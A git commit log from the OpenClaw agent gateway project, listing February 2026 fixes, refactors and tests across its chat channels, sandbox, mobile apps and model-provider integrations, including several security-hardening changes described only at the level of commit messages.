Vincent Koc
cc386f4962 Telegram tests: route exact do not do that to control lane 2026-02-24 18:50:53 -05:00
Vincent Koc
83f586b93b Gateway tests: cover exact do not do that stop matching 2026-02-24 18:50:53 -05:00
Vincent Koc
91391bbe01 Auto-reply tests: assert exact do not do that behavior 2026-02-24 18:50:53 -05:00
Vincent Koc
7bb08ba945 Auto-reply: add exact stop trigger for do not do that 2026-02-24 18:50:53 -05:00
Brian Mendonca
a3c4f56b0b security(voice-call): detect Telnyx webhook replay 2026-02-24 23:50:30 +00:00
Peter Steinberger
53f9b7d4e7 fix(automation): harden announce delivery + cron coding profile (#25813 #25821 #25822)
Co-authored-by: Shawn <shenghuikevin@shenghuideMac-mini.local>
Co-authored-by: 不做了睡大觉 <user@example.com>
Co-authored-by: Marcus Widing <widing.marcus@gmail.com>
2026-02-24 23:49:34 +00:00
Peter Steinberger
36d1e1dcff refactor(telegram): simplify DM media auth precheck flow 2026-02-24 23:49:10 +00:00
Peter Steinberger
316fad13aa refactor(outbound): unify attachment hydration flow 2026-02-24 23:48:43 +00:00
Brian Mendonca
9924f7c84e fix(security): classify hook sessions case-insensitively 2026-02-24 23:48:09 +00:00
Brian Mendonca
43a3ff3beb Changelog: add entry for exec env sanitization 2026-02-24 23:46:39 +00:00
Brian Mendonca
48b052322b Security: sanitize inherited host exec env 2026-02-24 23:46:39 +00:00
Peter Steinberger
9514201fb9 fix(telegram): block unauthorized DM media downloads 2026-02-24 23:44:50 +00:00
Brian Mendonca
5a64f6d766 Gateway/Security: protect /api/channels plugin root 2026-02-24 23:44:32 +00:00
Peter Steinberger
453664f09d refactor(zalo): split monitor access and webhook logic 2026-02-24 23:40:51 +00:00
Peter Steinberger
58309fd8d9 refactor(matrix,tests): extract helpers and inject send-queue timing 2026-02-24 23:37:50 +00:00
Peter Steinberger
a2529c25ff test(matrix,discord,sandbox): expand breakage regression coverage 2026-02-24 23:37:50 +00:00
Peter Steinberger
13a1c46396 fix(web-search): reduce provider auto-detect log noise 2026-02-24 23:32:29 +00:00
Peter Steinberger
79a7b3d22e test(line): align tmp-root expectation after sandbox hardening 2026-02-24 23:31:54 +00:00
Peter Steinberger
79e2328935 docs: update changelog for safe-bin hardening 2026-02-24 23:30:55 +00:00
Peter Steinberger
b4010a0b62 fix(zalo): enforce group sender policy in groups 2026-02-24 23:30:43 +00:00
Peter Steinberger
4355e08262 refactor: harden safe-bin trusted dir diagnostics 2026-02-24 23:29:44 +00:00
Peter Steinberger
5c2a483375 refactor(outbound): centralize attachment media policy 2026-02-24 23:29:05 +00:00
Peter Steinberger
54648a9cf1 refactor: centralize followup origin routing helpers 2026-02-24 23:28:58 +00:00
Peter Steinberger
9b53102100 test: add routing/session isolation edge-case regressions 2026-02-24 23:28:58 +00:00
Peter Steinberger
9fccf60733 refactor(synology-chat): centralize DM auth and fail fast startup 2026-02-24 23:28:40 +00:00
Peter Steinberger
e7a5f9f4d8 fix(channels,sandbox): land hard breakage cluster from reviewed PR bases
Lands reviewed fixes based on #25839 (@pewallin), #25841 (@joshjhall), and #25737/@25713 (@DennisGoldfinger/@peteragility), with additional hardening + regression tests for queue cleanup and shell script safety.

Fixes #25836
Fixes #25840
Fixes #25824
Fixes #25868

Co-authored-by: Peter Wallin <pwallin@gmail.com>
Co-authored-by: Joshua Hall <josh@yaplabs.com>
Co-authored-by: Dennis Goldfinger <dennisgoldfinger@gmail.com>
Co-authored-by: peteragility <peteragility@users.noreply.github.com>
2026-02-24 23:27:56 +00:00
Peter Steinberger
5552f9073f refactor(sandbox): centralize network mode policy helpers 2026-02-24 23:26:46 +00:00
Peter Steinberger
14b6eea6e3 feat(sandbox): block container namespace joins by default 2026-02-24 23:20:34 +00:00
Peter Steinberger
ccbeb332e0 fix: harden routing/session isolation for followups and heartbeat 2026-02-24 23:20:27 +00:00
Peter Steinberger
7655c0cb3a docs(changelog): add synology-chat allowlist fail-closed note 2026-02-24 23:18:18 +00:00
Peter Steinberger
0ee30361b8 fix(synology-chat): fail closed empty allowlist 2026-02-24 23:18:17 +00:00
Peter Steinberger
270ab03e37 fix: enforce local media root checks for attachment hydration 2026-02-24 23:17:48 +00:00
Peter Steinberger
b67e600bff fix(security): restrict default safe-bin trusted dirs 2026-02-24 23:13:37 +00:00
Peter Steinberger
2d159e5e87 docs(security): document openclaw temp-folder boundary 2026-02-24 23:11:19 +00:00
Peter Steinberger
d3da67c7a9 fix(security): lock sandbox tmp media paths to openclaw roots 2026-02-24 23:10:19 +00:00
Peter Steinberger
bf8ca07deb fix(config): soften antigravity removal fallout (#25538)
Land #25538 by @chilu18 to keep legacy google-antigravity-auth config entries non-fatal after removal (see #25862).

Co-authored-by: chilu18 <chilu.machona@icloud.com>
2026-02-24 23:02:45 +00:00
Shakker
039ae0b77c chore: refresh lockfile after plugin devDependency cleanup 2026-02-24 22:50:47 +00:00
Shakker
955cc9029f chore: sync plugin versions to 2026.2.24 2026-02-24 22:45:46 +00:00
Peter Steinberger
f4e6f87303 refactor(ios): drop legacy talk payload and keychain fallbacks 2026-02-24 22:39:37 +00:00
Shakker
853f75592f changelog: include #25847 in chat image safety entry (#25847) (thanks @shakkernerd) 2026-02-24 22:28:58 +00:00
Shakker
30cb849b10 test(ui): reject base64 SVG data URLs 2026-02-24 22:28:58 +00:00
Shakker
e7298b844f changelog: credit both chat-image fix contributors 2026-02-24 22:28:58 +00:00
Shakker
e9750104b2 ui: block svg data image opens and harden tests 2026-02-24 22:28:58 +00:00
Peter Steinberger
9ef0fc2ff8 fix(sandbox): block @-prefixed workspace path bypass 2026-02-24 17:23:14 +00:00
Ayaan Zaidi
f154926cc0 fix: land telegram empty-html fallback hardening (#25096) (thanks @Glucksberg) 2026-02-24 22:34:21 +05:30
Ayaan Zaidi
6e31bca198 fix(telegram): fail loud on empty text fallback 2026-02-24 22:34:21 +05:30
Glucksberg
566a8e7137 chore(telegram): suppress handled empty-text retry logs 2026-02-24 22:34:21 +05:30
Glucksberg
51b3e23680 fix(telegram): fallback to plain text when threaded markdown renders empty
Minimal fix path for Telegram empty-text failures in threaded replies.

- fallback to plain text when formatted htmlText is empty
- retry plain text on parse/empty-text API errors
- add focused regression test for threaded mode case

Related: #25091
Supersedes alternative fix path in #17629 if maintainers prefer minimal scope.
2026-02-24 22:34:21 +05:30
Ayaan Zaidi
00de3ca833 fix: widen external link rel token set type 2026-02-24 22:15:42 +05:30
Ayaan Zaidi
8892a1cd45 refactor(android-ui): unify gateway config resolution paths 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
7a74cf34ba fix(android-security): remove token-derived logging from prefs 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
8b24830e07 fix(android-gateway): avoid token clear on transient connect failure 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
e11e329238 refactor(android-chat): move thread selector above composer 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
75f145ebcc docs(android): document alpha rebuild status and feature checklist 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
baf98a87f6 refactor(android-settings): remove gateway controls duplicated in connect 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
bb27884474 feat(android-tabs): add coming-soon voice and screen tabs 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
94f426b29e fix(android-nav): hide tab bar while keyboard is open 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
577c554150 style(android-chat): redesign composer controls and actions 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
81ff074a51 style(android-chat): align bubbles and markdown with RN 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
b658000bf7 style(android-chat): refine thread shell and empty states 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
02e3fbef77 style(android): align settings screen with RN visual system 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
cf031d6ad4 chore(android): remove unused legacy ui components 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
439d8e609e fix(android): use native client id for operator session 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
14f5217e22 fix(android): retry with shared token after device-token failure 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
4b188dcf97 fix(android): persist gateway auth state across onboarding 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
f853622eca feat(android): switch post-onboarding app to five-tab shell 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
c015382a77 feat(android): add connect tab screen with setup and manual modes 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
757a4dc9fa docs(android): generalize style guide from onboarding baseline 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
5d88e77420 docs(android): add native UI style guide 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
d6bbe93d4c feat(android): add settings action to rerun onboarding 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
b9cc2599f1 feat(android): add native four-step onboarding flow 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
3e2e010952 feat(android): add onboarding and gateway auth state plumbing 2026-02-24 22:13:49 +05:30
Ayaan Zaidi
36c352453f build(android): bump AGP and update gradle defaults 2026-02-24 22:13:49 +05:30
Peter Steinberger
e806b34779 chore: remove changelog add helper script 2026-02-24 15:33:09 +00:00
Peter Steinberger
0f0a680d3d fix(exec): block shell-wrapper positional argv approval smuggling 2026-02-24 15:17:03 +00:00
Peter Steinberger
80daaeba38 fix(ios): split watch notify normalization helpers
Co-authored-by: Mariano Belinky <mbelinky@gmail.com>
2026-02-24 15:16:11 +00:00
Mariano Belinky
4ec0af00fe Agents: fix embedded auth-profile failure helper typing 2026-02-24 15:16:11 +00:00
Mariano Belinky
0121fa6f1a Changelog: add PR 23636 iOS/watch notes 2026-02-24 15:16:11 +00:00
Mariano Belinky
d06d8701fd iOS: normalize watch quick actions and fix test signing 2026-02-24 15:16:11 +00:00
Peter Steinberger
d18ae2256f refactor: unify channel plugin resolution, family ordering, and changelog entry tooling 2026-02-24 15:15:22 +00:00
Peter Steinberger
878b4e0ed7 refactor: unify tools.fs workspaceOnly resolution 2026-02-24 15:14:05 +00:00
Peter Steinberger
6c5ab543c0 refactor: tighten external-link policy and window.open guard 2026-02-24 15:05:31 +00:00
Peter Steinberger
13bfe7faa6 refactor(sandbox): share bind parsing and host-path policy checks 2026-02-24 15:04:47 +00:00
Peter Steinberger
0e155690be fix(config): add operational guidance to legacy talk help
Co-authored-by: Nimrod Gutman <nimrod.g@singular.net>
2026-02-24 15:02:52 +00:00
Peter Steinberger
44162055a8 fix(config): dedupe talk schema help keys 2026-02-24 15:02:52 +00:00
Nimrod Gutman
d58f71571a feat(talk): add provider-agnostic config with legacy compatibility 2026-02-24 15:02:52 +00:00
Nimrod Gutman
d1f28c954e feat(gateway): surface talk elevenlabs config metadata 2026-02-24 15:02:52 +00:00
Peter Steinberger
069c56cd75 fix(ios): normalize team IDs before preferred match
Co-authored-by: Brian Leach <bleach@gmail.com>
2026-02-24 15:02:27 +00:00
Peter Steinberger
1ae8c0a589 fix(ios): make team-id python lookup cross-platform
Co-authored-by: Brian Leach <bleach@gmail.com>
2026-02-24 15:02:27 +00:00
Peter Steinberger
fd07861bc3 fix(ios): harden team-id profile fallback and tests 2026-02-24 15:02:27 +00:00
Brian Leach
73f526f025 fix(ios): support Xcode 16+ team detection and fix ntohl build error
Xcode 16+/26 no longer writes IDEProvisioningTeams to the preferences
plist, breaking ios-team-id.sh for newly signed-in accounts. Add
provisioning profile fallback and actionable error when an account
exists but no team ID can be resolved. Also replace ntohl() with
UInt32(bigEndian:) for Swift 6 compatibility and gitignore Xcode
build output directories.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 15:02:27 +00:00
Peter Steinberger
9ccc15f3a6 docs: update changelog note for native image workspace fix 2026-02-24 14:55:42 +00:00
Peter Steinberger
3b4dac764b fix: doctor plugin-id mapping for channel auto-enable (#25275) (thanks @zerone0x) 2026-02-24 14:55:23 +00:00
zerone0x
203de14211 fix(doctor): use plugin manifest id for third-party channel auto-enable
When a third-party channel plugin declares a channel ID that differs from
its plugin ID (e.g. plugin id="apn-channel", channels=["apn"]), the
doctor plugin auto-enable logic was using the channel ID ("apn") as the
key for plugins.entries, producing an entry that fails config validation:
  Error: plugins.entries.apn: plugin not found: apn

Root cause: resolveConfiguredPlugins iterated over cfg.channels keys and
used each key directly as both the channel ID (for isChannelConfigured)
and the plugin ID (for plugins.entries). For built-in channels these are
always the same, but for third-party plugins they can differ.

Fix: load the installed plugin manifest registry and build a reverse map
from channel ID to plugin ID. When a cfg.channels key does not resolve to
a built-in channel, look up the declaring plugin's manifest ID and use
that as the pluginId in the PluginEnableChange, so registerPluginEntry
writes the correct plugins.entries["apn-channel"] key.

The applyPluginAutoEnable function now accepts an optional manifestRegistry
parameter for testing, avoiding filesystem access in unit tests.

Fixes #25261

Co-Authored-By: Claude <noreply@anthropic.com>
2026-02-24 14:55:23 +00:00
Peter Steinberger
3f07d725b1 fix: changelog credit for Telegram IPv4 fallback fix (#24295) (thanks @Glucksberg)
Co-Authored-By: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
2026-02-24 14:53:01 +00:00
Glucksberg
dd9ba974d0 fix: sort IPv4 addresses before IPv6 in SSRF pinned DNS to fix Telegram media fetch on IPv6-broken hosts
On hosts where IPv6 is configured but not routed (common on cloud VMs),
Telegram media downloads fail because the pinned DNS lookup may return
IPv6 addresses first. Even though autoSelectFamily (Happy Eyeballs) is
enabled, the round-robin pinned lookup serves individual IPv6 addresses
that fail before IPv4 is attempted.

Sort resolved addresses so IPv4 comes first, ensuring both Happy Eyeballs
and single-address round-robin try the working address family first.

Fixes #23975

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 14:53:01 +00:00
Peter Steinberger
fb8edebc32 fix(ui): stabilize chat-image open browser test and changelog 2026-02-24 14:48:10 +00:00
Shakker
94942df8c7 build: scope window.open guard to ui checks 2026-02-24 14:48:10 +00:00
Shakker
e5836283ab ui: centralize safe external URL opening 2026-02-24 14:48:10 +00:00
Shakker
ebb5680893 ui(chat): allowlist image open URLs 2026-02-24 14:48:10 +00:00
Peter Steinberger
370d115549 fix: enforce workspaceOnly for native prompt image autoload 2026-02-24 14:47:59 +00:00
Peter Steinberger
c3680c2277 docs(changelog): credit reporter for sandbox bind-path fix 2026-02-24 14:47:56 +00:00
Peter Steinberger
9168f2147f test: add case-insensitive stop abort assertions 2026-02-24 14:47:48 +00:00
Peter Steinberger
6da03eabe2 fix: add changelog and clean regression comment for tool-result guard (#25429) (thanks @mikaeldiakhate-cell) 2026-02-24 14:42:09 +00:00
Leakim
8db7ca8c02 fix: prevent synthetic toolResult for aborted/errored assistant messages
When an assistant message with toolCalls has stopReason 'aborted' or 'error',
the guard should not add those tool call IDs to the pending map. Creating
synthetic tool results for incomplete/aborted tool calls causes API 400 errors:
'unexpected tool_use_id found in tool_result blocks'

This aligns the WRITE path (session-tool-result-guard.ts) with the READ path
(session-transcript-repair.ts) which already skips aborted messages.

Fixes: orphaned tool_result causing session corruption

Tests added:
- does NOT create synthetic toolResult for aborted assistant messages
- does NOT create synthetic toolResult for errored assistant messages
2026-02-24 14:42:09 +00:00
zzzz
31b1b20b3c docs: add WeChat community plugin listing
Add @icesword760/openclaw-wechat to the community plugins page.
This plugin connects OpenClaw to WeChat personal accounts via
WeChatPadPro (iPad protocol) with support for text, image, and
file exchange.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-24 08:41:28 -06:00
Peter Steinberger
760671e31c fix: add changelog for kimi cache usage parsing (#25436) (thanks @Elarwei001) 2026-02-24 14:40:52 +00:00
Elarwei
aa2826b5b1 fix(usage): parse Kimi K2 cached_tokens from prompt_tokens_details
Kimi K2 models use automatic prefix caching and return cache stats in
a nested field: usage.prompt_tokens_details.cached_tokens

This fixes issue #7073 where cacheRead was showing 0 for K2.5 users.

Also adds cached_tokens (top-level) for moonshot-v1 explicit caching API.

Closes #7073
2026-02-24 14:40:52 +00:00
Peter Steinberger
b511a38fc8 fix: add changelog for doctor sandbox docker warning (#25438) (thanks @mcaxtr) 2026-02-24 14:40:06 +00:00
Marcus Castro
23b9daee6f fix(doctor): improve sandbox warning when Docker unavailable 2026-02-24 14:40:06 +00:00
Peter Steinberger
d2c031de84 fix: add changelog for meta timestamp coercion (#25491) (thanks @mcaxtr) 2026-02-24 14:39:12 +00:00
Marcus Castro
2c4ebf77f3 fix(config): coerce numeric meta.lastTouchedAt to ISO string 2026-02-24 14:39:12 +00:00
Peter Steinberger
b5787e4abb fix(sandbox): harden bind validation for symlink missing-leaf paths 2026-02-24 14:37:35 +00:00
Peter Steinberger
0365125c21 fix: add changelog for reset hook fallback coverage (#25459) (thanks @chilu18) 2026-02-24 14:27:48 +00:00
chilu18
aec41a588b fix(hooks): backfill reset command hooks for native /new path 2026-02-24 14:27:48 +00:00
Peter Steinberger
bbdf895d42 fix: add changelog for slug generator model resolution (#25485) (thanks @SudeepMalipeddi) 2026-02-24 14:27:01 +00:00
SudeepMalipeddi
d32298cbd8 fix: slug-generator uses effective model instead of agent-primary
resolveAgentModelPrimary() only checks the agent-level model config and
does not fall back to the system-wide default. When users configure a
non-Anthropic provider (e.g. Gemini, Minimax) as their global default
without setting it at the agent level, the slug-generator falls through
to DEFAULT_PROVIDER (anthropic) and fails with a missing API key error.

Switch to resolveAgentEffectiveModelPrimary() which correctly respects
the full model resolution chain including global defaults.

Fixes #25365
2026-02-24 14:27:01 +00:00
Peter Steinberger
5e6fe9c160 fix: add changelog for slack dm channel-type guard (#25479) (thanks @mcaxtr) 2026-02-24 14:26:01 +00:00
Marcus Castro
3ff6e078ec test(slack): add missing allowNameMatching field to DM classification tests 2026-02-24 14:26:01 +00:00
Marcus Castro
f33d0a884e fix(slack): override wrong channel_type for D-prefix DM channels 2026-02-24 14:26:01 +00:00
Peter Steinberger
8cc841766c docs(security): enumerate dangerous config parameters 2026-02-24 14:25:43 +00:00
Peter Steinberger
39631639b7 fix: add changelog + typed omission test note (#25314) (thanks @lbo728) 2026-02-24 14:22:02 +00:00
lbo728
b863316e7b fix(models): preserve user reasoning override when merging with built-in catalog
When a built-in provider model has reasoning:true (e.g. MiniMax-M2.5) and
the user explicitly sets reasoning:false in their config, mergeProviderModels
unconditionally overwrote the user's value with the built-in catalog value.

The merge code refreshes capability metadata (input, contextWindow, maxTokens,
reasoning) from the implicit catalog. This is correct for fields like
contextWindow and maxTokens — the catalog has authoritative values that
shouldn't be stale. But reasoning is a user preference, not just a
capability descriptor: users may need to disable it to avoid 'Message
ordering conflict' errors with certain models or backends.

Fix: check whether 'reasoning' is present in the explicit (user-supplied)
model entry. If the user has set it (even to false), honour that value.
If the user hasn't set it, fall back to the built-in catalog default.

This allows users to configure tools.models.providers.minimax.models with
reasoning:false for MiniMax-M2.5 without being silently overridden.

Fixes #25244
2026-02-24 14:22:02 +00:00
Peter Steinberger
07f653ffc8 fix: polish bare wildcard allowlist handling (#25250) (thanks @widingmarcus-cyber) 2026-02-24 14:20:11 +00:00
Marcus Widing
0f0b2c0255 fix(exec): match bare * wildcard in allowlist entries (#25082)
The matchAllowlist() function skipped patterns without path separators
(/, \, ~), causing a bare "*" wildcard entry to never reach the glob
matcher. Since glob's single * maps to [^/]*, it would also fail against
absolute paths. Handle bare "*" as a special case that matches any
resolved executable path.

Closes #25082
2026-02-24 14:20:11 +00:00
Peter Steinberger
e9216cb7dc fix: add changelog for trusted-proxy pairing bypass (#25428) (thanks @SidQin-cyber) 2026-02-24 14:17:54 +00:00
SidQin-cyber
20523b918a fix(gateway): allow trusted-proxy control-ui auth to skip device pairing
Control UI connections authenticated via gateway.auth.mode=trusted-proxy were
still forced through device pairing because pairing bypass only considered
shared token/password auth (sharedAuthOk). In trusted-proxy deployments,
this produced persistent "pairing required" failures despite valid trusted
proxy headers.

Treat authenticated trusted-proxy control-ui connections as pairing-bypass
eligible and allow missing device identity in that mode.

Fixes #25293

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-24 14:17:54 +00:00
Peter Steinberger
d84659f22f fix: add changelog for block-reply flush await (#25427) (thanks @SidQin-cyber) 2026-02-24 14:11:40 +00:00
SidQin-cyber
99d854db82 fix(agents): await block-reply flush before tool execution starts
handleToolExecutionStart() flushed pending block replies and then called
onBlockReplyFlush() as fire-and-forget (`void`). This created a race where
fast tool results (especially media on Telegram) could be delivered before
the text block that preceded the tool call.

Await onBlockReplyFlush() so the block pipeline finishes before tool
execution continues, preserving delivery order.

Fixes #25267

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-24 14:11:40 +00:00
Peter Steinberger
4d124e4a9b feat(security): warn on likely multi-user trust-model mismatch 2026-02-24 14:03:19 +00:00
DoncicX
32d7756d8c iOS: extract device/platform info into DeviceInfoHelper, keep Settings platform string as iOS X.Y.Z 2026-02-24 13:56:43 +00:00
Peter Steinberger
e3ac491da3 docs(changelog): trim 2026.2.24 unreleased entries 2026-02-24 13:51:45 +00:00
Peter Steinberger
7c99a733a9 fix: harden macOS usage cost submenu recursion guard (#25341) (thanks @yingchunbai) 2026-02-24 13:48:59 +00:00
yingchunbai
96b21f4823 fix(macos): remove self-delegate on cost usage submenu to prevent recursive dropdown
The cost usage submenu set `menu.delegate = self` (the MenuSessionsInjector),
which caused `menuWillOpen(_:)` to call `inject(into:)` on the submenu when
it opened. This re-inserted the "Usage cost (30 days)" item into the submenu,
creating an infinite recursive dropdown.

Fix: remove the delegate assignment from the submenu — it does not need
the injector's delegate behavior since it only contains a static chart view.

Closes #25167

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 13:48:59 +00:00
Peter Steinberger
2bad30b4d3 chore(release): bump version to 2026.2.24 2026-02-24 13:42:43 +00:00
Shakker
aceb17a30e changelog: add entry for PR 18685 fix 2026-02-24 13:04:10 +00:00
Mariana Sinisterra
649d141527 fix(ui): prevent tabnabbing in chat images (#18685)
* UI: prevent tabnabbing in chat images

* ui: remove comment from image open helper

---------

Co-authored-by: Shakker <shakkerdroid@gmail.com>
2026-02-24 12:56:08 +00:00
LawrenceLuo
66e61ca6ce docs: fix broken links in README (#25368)
- /start/faq → /help/faq
- /concepts/groups → /channels/groups
- /concepts/group-messages → /channels/group-messages
- /concepts/channel-routing → /channels/channel-routing

Co-authored-by: LawrenceLuo <5390633+PinoHouse@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-24 06:27:23 -06:00
Peter Machona
097a6a83a0 fix(cli): replace stale doctor/restart command hints (#24485)
* fix(cli): replace stale doctor and restart hints

* fix: add changelog for CLI hint updates (#24485) (thanks @chilu18)

---------

Co-authored-by: Muhammed Mukhthar CM <mukhtharcm@gmail.com>
2026-02-24 14:49:59 +05:30
Val Alexander
1c228dc249 docs: add Val Alexander to maintainers list (#25197)
* docs: add Val Alexander to maintainers list

- Focus: UI/UX, Docs, and Agent DevX
- GitHub: @BunsDev
- X/Twitter: @BunsDev

* Update CONTRIBUTING.md

* fix: format
2026-02-24 01:50:30 -06:00
Vincent Koc
4b316c33db Auto-reply: normalize stop matching and add multilingual triggers (#25103)
* Auto-reply tests: cover multilingual abort triggers

* Auto-reply: normalize multilingual abort triggers

* Gateway: route chat stop matching through abort parser

* Gateway tests: cover chat stop parsing variants

* Auto-reply tests: cover Russian and German stop words

* Auto-reply: add Russian and German abort triggers

* Gateway tests: include Russian and German stop forms

* Telegram tests: route Russian and German stop forms to control lane

* Changelog: note multilingual abort stop coverage

* Changelog: add shared credit for abort shortcut update
2026-02-24 01:07:25 -05:00
Peter Steinberger
b817600533 chore(release): cut 2026.2.23 2026-02-24 05:39:22 +00:00
Peter Steinberger
8ea936cdda docs: clarify prompt caching intro 2026-02-24 05:22:00 +00:00
Peter Steinberger
cafa8226d7 docs(changelog): move stop-signal expansion to changes 2026-02-24 05:14:02 +00:00
Peter Steinberger
936f2449bd chore(release): prep 2026.2.23-beta.1 changelog 2026-02-24 05:02:40 +00:00
Peter Steinberger
fd10286819 docs(changelog): mark allowFrom id-only default as breaking 2026-02-24 04:47:36 +00:00
Peter Steinberger
91ea6ad8ec docs(changelog): reorder unreleased fixes by user impact 2026-02-24 04:46:19 +00:00
Arturo
10cd4b5e68 chore: credit PR #24705 contributor attribution
Attribution-only commit for the bot-authored upstream patch landed from #24705.
2026-02-24 04:44:11 +00:00
Peter Steinberger
ee42381951 chore: add mailmap mappings for cherry-picked contributors 2026-02-24 04:43:28 +00:00
Peter Steinberger
31f2bf9519 test: fix gate regressions 2026-02-24 04:39:53 +00:00
Peter Steinberger
2d6d6797d8 test: fix post-merge config and tui command-handler tests 2026-02-24 04:38:21 +00:00
justinhuangcode
6ea1607f1c test(discord): add regression tests for reasoning tag stripping in stream
Verify that partial stream updates containing <thinking> tags are stripped
before reaching the draft preview, and that pure "Reasoning:\n" partials
are suppressed entirely.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 04:37:30 +00:00
justinhuangcode
e8a4d5d9bd fix(discord): strip reasoning tags from partial stream preview
When streamMode is "partial", reasoning/thinking block content can leak
into the Discord draft preview because the partial text is forwarded to
the draft stream without filtering.  Apply `stripReasoningTagsFromText`
before updating the draft and skip pure-reasoning messages (those
starting with "Reasoning:\n") so internal thinking traces never reach
the user-visible preview.

Fixes #24532

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 04:37:30 +00:00
justinhuangcode
0ded77ca7d test(matrix): add regression tests for reasoning-only reply filtering
Verify that deliverMatrixReplies skips replies whose text starts with
"Reasoning:\n" or opens with <thinking>/<think>/<antthinking> tags, while
still delivering all normal replies.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 04:36:27 +00:00
justinhuangcode
1298bd4e1b fix(matrix): skip reasoning-only messages in reply delivery
When `includeReasoning` is active (or `reasoningLevel` falls back to the
model default), the agent emits reasoning blocks as separate reply
payloads prefixed with "Reasoning:\n".  Matrix has no dedicated reasoning
lane, so these internal thinking traces leak into the chat as regular
user-visible messages.

Filter out pure-reasoning payloads (those starting with "Reasoning:\n" or
a `<thinking>` tag) before delivery so internal reasoning never reaches
the Matrix room.

Fixes #24411

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 04:36:27 +00:00
Peter Steinberger
5ac70b36a4 test: make shell-env trust-path test platform-safe (#24991) (thanks @stakeswky) 2026-02-24 04:34:49 +00:00
Peter Steinberger
d3ecc234da test: align flaky CI expectations after main changes (#24991) (thanks @stakeswky) 2026-02-24 04:34:49 +00:00
Peter Steinberger
cb450fd31f fix: align lockfile with diagnostics-otel proto deps (#24991) (thanks @stakeswky) 2026-02-24 04:34:49 +00:00
Peter Steinberger
2880fb3cb8 fix: sync lockfile for diagnostics-otel deps (#24991) (thanks @stakeswky) 2026-02-24 04:34:49 +00:00
Peter Steinberger
19d0ddc679 fix: regenerate protocol swift models for nodeId (#24991) (thanks @stakeswky) 2026-02-24 04:34:49 +00:00
Peter Steinberger
d427d09b5e fix: align reasoning payload typing for #24991 (thanks @stakeswky) 2026-02-24 04:34:49 +00:00
User
7d76c241f8 fix: suppress reasoning payloads from generic channel dispatch path
When reasoningLevel is 'on', reasoning content was being sent as a
visible message to WhatsApp and other non-Telegram channels via two
paths:
1. Block reply: emitted via onBlockReply in handleMessageEnd
2. Final payloads: added to replyItems in buildEmbeddedRunPayloads

Telegram has its own dispatch path (bot-message-dispatch.ts) that
splits reasoning into a dedicated lane and handles suppression.
The generic dispatch-from-config.ts path used by WhatsApp, web, etc.
had no such filtering.

Fix:
- Add isReasoning?: boolean flag to ReplyPayload
- Tag reasoning payloads at both emission points
- Filter isReasoning payloads in dispatch-from-config.ts for both
  block reply and final reply paths

Telegram is unaffected: it uses its own deliver callback that detects
reasoning via the 'Reasoning:\n' prefix and routes to a separate lane.

Fixes #24954
2026-02-24 04:34:49 +00:00
Workweaver Ralph
b9e587fb63 fix(tui): guard sendMessage when disconnected; reset readyPromise on close
(cherry picked from commit df827c3eef)
2026-02-24 04:33:51 +00:00
Shennan
a7518b7589 fix(feishu): pass parentPeer for topic session binding inheritance
(cherry picked from commit bddeb1fd95)
2026-02-24 04:33:51 +00:00
Marco Di Dionisio
83689fc838 fix: include trusted-proxy in sharedAuthOk check
In trusted-proxy mode, sharedAuthResult is null because hasSharedAuth
only triggers for token/password in connectParams.auth. But the primary
auth (authResult) already validated the trusted-proxy — the connection
came from a CIDR in trustedProxies with a valid userHeader. This IS
shared auth semantically (the proxy vouches for identity), so operator
connections should be able to skip device identity.

Without this fix, trusted-proxy operator connections are rejected with
"device identity required" because roleCanSkipDeviceIdentity() sees
sharedAuthOk=false.

(cherry picked from commit e87048a6a6)
2026-02-24 04:33:51 +00:00
zerone0x
bc52d4a459 fix(openrouter): skip reasoning effort injection for 'auto' routing model
The 'auto' model on OpenRouter dynamically routes to any underlying model
OpenRouter selects, including reasoning-required endpoints. Previously,
OpenClaw would unconditionally inject `reasoning.effort: "none"` into
every request when the thinking level was "off", which causes a 400 error
on models where reasoning is mandatory and cannot be disabled.

Root cause:
- openrouter/auto has reasoning: false in the built-in catalog
- With thinking level "off", createOpenRouterWrapper injects
  `reasoning: { effort: "none" }` via mapThinkingLevelToOpenRouterReasoningEffort
- For any OpenRouter-routed model that requires reasoning this results in:
  "400 Reasoning is mandatory for this endpoint and cannot be disabled"
- The reasoning: false is then persisted back to models.json on every
  ensureOpenClawModelsJson call, so manually removing it has no lasting effect

Fix:
- In applyExtraParamsToAgent, when provider is "openrouter" and the model
  id is "auto", pass undefined as thinkingLevel to createOpenRouterWrapper
  so no reasoning.effort is injected at all, letting OpenRouter's upstream
  model handle it natively
- Add an explanatory comment in buildOpenrouterProvider clarifying that the
  reasoning: false catalog value does NOT cause effort injection for "auto"

